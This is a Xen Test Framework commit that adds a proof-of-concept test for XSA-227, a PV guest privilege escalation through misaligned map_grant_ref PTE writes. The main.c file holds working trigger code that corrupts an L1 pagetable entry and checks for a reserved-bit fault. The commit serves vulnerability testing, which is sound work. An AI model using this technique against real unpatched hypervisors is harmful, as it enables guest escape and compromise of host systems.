From: Andrew Cooper Date: Tue, 20 Jun 2017 18:18:54 +0000 (+0100) Subject: XSA-227 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=b369b8f9cc89f906deba9ae1b1a6d27ac745cf2d;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-227 PoC Signed-off-by: Andrew Cooper --- diff --git a/arch/x86/include/arch/processor.h b/arch/x86/include/arch/processor.h index e2a2cbb..2059cfc 100644 --- a/arch/x86/include/arch/processor.h +++ b/arch/x86/include/arch/processor.h @@ -171,6 +171,14 @@ #define X86_PFEC_INSN (1U << 4) #define X86_PFEC_PK (1U << 5) +/* Pagefault Error Code - Short form mnemonics. */ +#define X86_PFEC_P X86_PFEC_PRESENT +#define X86_PFEC_W X86_PFEC_WRITE +#define X86_PFEC_U X86_PFEC_USER +#define X86_PFEC_R X86_PFEC_RSVD +#define X86_PFEC_I X86_PFEC_INSN +#define X86_PFEC_K X86_PFEC_PK + /* * Selector mnemonics. */ diff --git a/arch/x86/include/arch/symbolic-const.h b/arch/x86/include/arch/symbolic-const.h index 5e52c6a..41f97ff 100644 --- a/arch/x86/include/arch/symbolic-const.h +++ b/arch/x86/include/arch/symbolic-const.h @@ -101,6 +101,17 @@ */ #define PF_SYM(...) TOK_OR(_PAGE_, ##__VA_ARGS__) +/** + * Create pagetable error code based on mnemonics. + * + * @param ... Partial X86_PFEC_ tokens. + * + * Eample usage: + * - PFEC_SYM(I, U, P) + * - Insn fetch, User access, Present. + */ +#define PFEC_SYM(...) TOK_OR(X86_PFEC_, ##__VA_ARGS__) + #endif /* XTF_X86_SYMBOLIC_CONST_H */ /* diff --git a/docs/all-tests.dox b/docs/all-tests.dox index 30a4e2a..fba9b8f 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -100,6 +100,8 @@ guest breakout. @subpage test-xsa-224 - grant table operations mishandle reference counts. +@subpage test-xsa-227 - x86: PV privilege escalation via map_grant_ref. + @section index-utility Utilities diff --git a/tests/xsa-227/Makefile b/tests/xsa-227/Makefile new file mode 100644 index 0000000..f2847e3 --- /dev/null +++ b/tests/xsa-227/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-227 +CATEGORY := xsa +TEST-ENVS := pv64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-227/main.c b/tests/xsa-227/main.c new file mode 100644 index 0000000..4902550 --- /dev/null +++ b/tests/xsa-227/main.c @@ -0,0 +1,124 @@ +/** + * @file tests/xsa-227/main.c + * @ref test-xsa-227 + * + * @page test-xsa-227 XSA-227 + * + * Advisory: [XSA-227](http://xenbits.xen.org/xsa/advisory-xsa-227.html) + * + * For x86 PV guests, the #GNTTABOP_map_grant_ref hypercall allows mapping by + * nominated linear address, or by nominating a specific L1e. However, there + * are no alignment checks when nominating a specific L1e, and Xen would write + * the PTE at the guests chosen alignment, corrupting the L1 pagetable. + * + * In this test, a frame is grant mapped in a way which tries to splice across + * the L1e mapping the linear addresses at 4K and 8K. If vulnerable, the + * lower flags of the grant PTE end up overwriting the high user-defined bits + * of the L1e mapping 4K, with User/Writeable/Present causing reserved bits to + * be set. + * + * @see tests/xsa-227/main.c + */ +#include + +#include +#include + +const char test_title[] = "XSA-227 PoC"; + +static uint8_t frame[PAGE_SIZE] __page_aligned_bss; + +void test_main(void) +{ + int rc = xtf_init_grant_table(1); + + if ( rc ) + return xtf_error("Error initialising grant table: %d\n", rc); + + int domid = xtf_get_domid(); + + if ( domid < 0 ) + return xtf_error("Error getting domid\n"); + + /* + * Construct gref 8 to allow frame[] to be mapped by ourselves. + */ + gnttab_v1[8].domid = domid; + gnttab_v1[8].frame = virt_to_gfn(frame); + smp_wmb(); + gnttab_v1[8].flags = GTF_permit_access; + + /* Opencoded pagewalk to KB(4) */ + intpte_t *l4t = _p(start_info->pt_base); + intpte_t *l3t = maddr_to_virt(pte_to_paddr(l4t[0])); + intpte_t *l2t = maddr_to_virt(pte_to_paddr(l3t[0])); + intpte_t *l1t = maddr_to_virt(pte_to_paddr(l2t[0])); + + /* + * Unmap the linear address we are going to mostly clobber. Reduces the + * chance of Xen falling over a refcounting problem. + */ + if ( hypercall_update_va_mapping(KB(8), 0, UVMF_INVLPG) ) + return xtf_error("Failed to unmap KB(8)\n"); + + struct gnttab_map_grant_ref map = { + .host_addr = virt_to_maddr(&l1t[2]) - 2, + .flags = GNTMAP_contains_pte | GNTMAP_host_map, + .ref = 8, + .dom = domid, + }; + + /* + * Try to map frame[] to ourselves with a PTE-misaligned machine address. + */ + rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1); + + if ( !rc && !map.status ) + /* Map call succeeded. */ + xtf_failure("Fail: Vulnerable to XSA-227\n"); + else + /* Map call failed. */ + printk("Probably not vulnerable to XSA-227\n"); + + printk("Attempting to confirm...\n"); + + exinfo_t fault = 0; + unsigned int discard; + + /* + * Try to use the linear address which was clobbered by the map call. + */ + asm volatile ("1: mov %[ptr], %[res]; 2:" + _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_eax) + : "+a" (fault), + [res] "=q" (discard) + : [ptr] "m" (*(char *)KB(4)), + "X" (ex_record_fault_eax)); + + switch ( fault ) + { + case 0: + /* No fault => the PTE wasn't clobbered. */ + xtf_success("Success: Not vulnerable to XSA-227\n"); + break; + + case EXINFO_SYM(PF, PFEC_SYM(R, P)): + /* #PF[Rsvd] => the PTE was clobbered. */ + xtf_failure("Failure: Got Rsvd #PF\n"); + break; + + default: + xtf_error("Unexpected fault %#x, %pe\n", fault, _p(fault)); + break; + } +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */